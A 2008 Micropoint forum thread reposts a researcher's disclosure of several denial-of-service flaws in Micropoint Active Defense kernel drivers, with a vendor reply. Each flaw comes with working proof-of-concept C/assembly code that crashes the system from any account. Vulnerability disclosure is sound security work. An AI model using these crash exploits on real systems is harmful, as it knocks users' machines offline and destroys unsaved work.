Board logo

标题: [转载] 微点主动防御 (version20080924及以下) 多个拒绝服务漏洞及内核BUG [打印本页]

作者: liudaxue2008     时间: 2008-10-3 12:07    标题: [转载] 微点主动防御 (version20080924及以下) 多个拒绝服务漏洞及内核BUG

[转载] 微点主动防御 (version20080924及以下) 多个拒绝服务漏洞及内核BUG
by MJ0011

国庆无聊在家,下了一个0924版的微点,从它的HOOK一个个看起,看了4个就发现两个有问题~~再看看,发现有问题的函数几乎是一半对一半~ 多达十几处。还只是简单看看地结果~太挫了

现在说一说其中两个~微点赶紧改吧:D

(1),驱动对ZwOpenEvent的HOOK存在拒绝服务安全漏洞,任何权限用户可以使安装了微点的系统蓝屏

问题在于微点的Hook驱动mp110013.sys对用户态调用ZwOpenEvent传入参数检查不充分导致的

mp110013.sys(版本1.2.10126.0, CheckSum = 0x0000FDB7 , TimeStamp = 0x4859C30E)

偏移0XBAE处实际是其对ZwOpenEvent的HOOK实际处理部分(首先经过一个HOOK引擎mp110003.sys转发)。

ZwOpenEvent的原型是:

NTSTATUS
  ZwOpenEvent(
    OUT PHANDLE  EventHandle,
    IN ACCESS_MASK  DesiredAccess,
    IN POBJECT_ATTRIBUTES  ObjectAttributes
    );

微点只对ObjectAttributes做了ProbeForRead检查,没有对该结构内部成员的缓存地址做有效检查,就直接使用系统函数RtlUnicodeStringToAnsiString将该结构的ObjectAttributes->ObjectName转换为ANSI字符,因此只要RING3的程序对该域填充错误地址,就可以引发系统访问无效内存蓝屏

由于该函数的Hook函数中使用了结构化异常处理,因此传0之类的地址是无法引发蓝屏的,但只要传入任何一个无效的内核地址(例如0x80000000),就可以使微点蓝屏

下面是引发蓝屏的测试代码:

HMODULE hlib = LoadLibrary("ntdll.dll");
PVOID p = GetProcAddress(hlib , "ZwOpenEvent");

OBJECT_ATTRIBUTES oba ;


oba.ObjectName = (PUNICODE_STRING)0x80000000 ;

__asm{
   lea eax ,oba
    push eax
    push 0
    push 0
    call p
}

运行了这段代码后,系统即蓝屏重启,适用于任何安装了微点的系统任何用户权限。

我编写了一个测试程序"BSOD_MP.exe",在装有20080924及以下版本的微点的系统,运行程序后点"done",系统即会蓝屏。

测试程序下载:http://mj0011.ys168.com 漏洞演示目录下BSOD_mp.rar


(2).驱动对ZwOpenThread的HOOK处理存在漏洞,可能导致系统其他组件工作不正常

在同样版本的mp110013.sys中,对于ZwOpenThread的处理存在BUG,可能导致任意调用该函数的其他驱动程序或系统组件失败!

在对ZwOpenThread的HOOK中,微点的驱动没有判断系统上个模式,而是直接使用ProbeForRead函数去校验ZwOpenThread的参数: ObjectAttributes,这样做的结果会导致在驱动中使用该函数的驱动,只要使用了这个参数,调用这个函数就会返回失败。STATUS_ACCESS_DEIND

正确的做法应该是先判断当前线程的前个模式,如果是UserMode,再做有效性校验。

这个函数在驱动中用得不多,但也不是没有,属于微软有文档的函数,例如在Sandboxie的驱动中就有用到这个,如果这个函数失败,沙箱内的进程在执行某些操作的时候,就可能出错,甚至导致系统崩溃。

====================================================

综上来看,微点的驱动开发者对如何校验用户态参数还是有一些概念的,可惜的是,不仅理解不深,而且还会出现一些粗心大意的毛病~象SSDT HOOK这样直面用户态程序的驱动代码,还是要慎之慎之~~


另外这也暴露出,微点的测试流程不够专业,驱动测试不够重视,如果发布前使用BSODHook等Driver Test工具跑一跑,就不会出现如(1)中那样弱智的错误了~
作者: liudaxue2008     时间: 2008-10-3 12:07
国庆的早晨啊~再多爆料几个有问题的函数~~

参考文一:http://hi.baidu.com/mj0011/blog/ ... 65fbf53a87ceb8.html

除了文一提到的两个函数~微点的内核驱动中实际存在着大量这样的问题

再提两个函数,也省得微点的工程师累死累活的找了~学习雷锋啊好榜样~~

(1). 对ZwDeleteValueKey 的HOOK函数对用户态参数没有做检查,导致任何权限用户在安装了微点的系统上可引发蓝屏

处理函数位于mp110009.sys, 版本:1.2.10045 ,CheckSum = 0xCC78 , TimeStamp = 0x48478FCF

偏移0x12f7处是对ZwDeleteValueKey的HOOK处理函数,该函数的原型是:

NTSTATUS
NtDeleteValueKey(
    __in HANDLE KeyHandle,
    __in PUNICODE_STRING ValueName
    )

微点完全没有检查第二个参数 ValueName的有效性就在其代码偏移0x824处直接取该地址的数据,于是只要传给该参数 错误的地址,系统就会立即蓝屏

如下:微点的处理代码:

F8D39815:
mov     eax, [ebp+SourceString]
test    eax, eax
jz       F8D398C0
and     [ebp+ms_exc.disabled], 0
cmp     word ptr [eax], 0 <---memory fault , check by kfuzz
jz      short F8D39833

直接取到参数后判断了下是不是0就直接从内存取出UNICODE_STRING的Length域了


运行以下代码后,该版本微点同样立即蓝屏,这里就不给测试程序了~有兴趣的自己编译了看看

HMODULE hlib = LoadLibrary("ntdll.dll");
PVOID p = GetProcAddress(hlib , "ZwDeleteValueKey");
__asm{

   push 0x80000000
   push 0
   call p

}

(2).在对IoCreateFile->Call ObOpenObjectByName的inline hook中,完全未作参数检查,导致任何权限用户在安装了微点的系统上可引发蓝屏

微点Hook了IoCreateFile -> IopCreateFile -> call ObOpenObjectByName,使用替换4字节地址指针的方式。

此时可爱的微点小朋友以为传递给ObOpenObjectByName的参数都已经是已经过内核校验过的了,因此自己不做任何检查,直接使用,甚至连结构化异常处理都不使用.

实际上对IoCreateFile的参数检查到ObOpenOpenByName中才刚刚开始~

结果就导致随便传入错误的参数给ZwCreateFile,就可以引发微点的蓝屏

出问题的模块是mp110011.sys,版本:1.2.10237 , checksum = 0x0002291a TimeStamp = 0x488944d9

在偏移0x45ca处即使替换ObOpenObjectByName的Hook函数。可以看到微点检查到其DesiredAccess 参数中包含了DELETE权限,就直接从第一个参数ObjectAttributes中取数据,完全不做任何检查。

利用代码,此代码运行后安装有微点的系统将立即蓝屏:

HMODULE hlib = LoadLibrary("ntdll.dll");
PVOID p = GetProcAddress(hlib , "ZwCreateFile");

HANDLE filehandle ;
IO_STATUS_BLOCK iosb ;

__asm{

   PUSH 0
   PUSH 0
   push 0
   push 1
   push 0
   push 0
   push 0
   lea eax , iosb
   push eax
   push 0    //ObjectAttributes set to Zero
   push 0x10080 // bypass DELETE access check
   lea eax ,filehandle
   push eax
   call p

}

此类BUG除了已经报出的4个外还有很多个~国庆无聊的话,会逐个爆出~敬请期待
作者: liudaxue2008     时间: 2008-10-3 12:08
继续爆三个漏洞,微点一直没反映啊~看来都度假去了 这样可不行啊 病毒木马可是不休假的哦 O(∩_∩)O哈哈~

(1).微点对NtWriteFile-> Call ObReferenceObjectByHandle的HOOK中未对参数做有效性检查,可导致任意权限用户在安装了微点的系统上可引发系统蓝屏

存在漏洞的文件:mp110011.sys,版本:1.2.10237,CheckSum = 0x0002291a , TimeStamp = 0x488944d9


微点hook了NtWriteFile-> Call ObReferenceObjectByHandle并对其中的FileHandle进行检查,检查对应的设备对象->驱动对象是否是Disk,如果是的话,判断写入的偏移,进行阻截或放行

其中hook函数使用读取外层函数(NtWriteFile)保存的栈指针(ebp)来读取外层函数的参数pByteOffset,但未对该参数做有效性检查,就直接使用,导致了攻击的可能


使用以下代码即可在任意用户权限在使安装了微点的系统蓝屏:

HMODULE hlib = LoadLibrary("ntdll.dll");
PVOID p = GetProcAddress(hlib , "ZwWriteFile");

HANDLE hfile = CreateFile("\\\\.\\PhysicalDrive0" , FILE_WRITE_DATA , 0 , 0 , OPEN_EXISTING , 0 , 0 );
if (hfile != INVALID_HANDLE_VALUE)
{
   __asm
   {
    push 0
    push    1 //->pByteOffset,cannot be zero
    push   0
    push 0
    push 0
    push 0
    push 0
    push 0
    push hfile
    call p

   }
}

(2).微点在对NtOpenProcess的头部inline hook中,未进行任何参数检查就直接使用参数,导致任意权限用户可引发安装了微点的系统蓝屏

mp110013.sys(版本1.2.10126.0, CheckSum = 0x0000FDB7 , TimeStamp = 0x4859C30E)

在其处理函数中未做任何参数检查,直接使用了参数pClientId 的缓存地址,也没有结构化异常处理,因此直接传递0地址即可使系统蓝屏

测试代码:

HMODULE hlib = LoadLibrary("ntdll.dll");
PVOID p = GetProcAddress(hlib , "NtOpenProcess");

__asm{
   push 0
   push 0
   push 1   //access must have "PROCESS_TERMINATE"
   push 0
   call p

}


(3).微点对于NtCreateThread的HOOK处理中存在拒绝服务漏洞,可导致任何权限用户在安装了微点的系统上引发蓝屏

mp110013.sys(版本1.2.10126.0, CheckSum = 0x0000FDB7 , TimeStamp = 0x4859C30E)

在其函数中未对参数pContext做任何检查,就使用该参数,并且没有使用任何结构化异常处理,因此只要传0就可以导致蓝屏

测试代码:

HMODULE hlib = LoadLibrary("ntdll.dll");
PVOID p = GetProcAddress(hlib , "NtCreateThread");

__asm{

   push 1 //need createsuspend:)
   push 0
   push 0
   push 0
   push 0
   push 0
   push 0
   push 0
   call p

}
作者: baduser     时间: 2008-10-4 13:19
标记关注一下

这样的帖子是越多越好
作者: Legend     时间: 2008-10-4 13:43
感谢楼主的转载,此问题已转交有关部门,我们会进行详细的测试。
作者: cnzhanghj     时间: 2008-10-5 12:19
呵呵,看不懂。这样的问题多弄出一些来好,好让微点更完善。




欢迎光临 微点交流论坛 (http://bbs.micropoint.com.cn/) bbs.micropoint.com.cn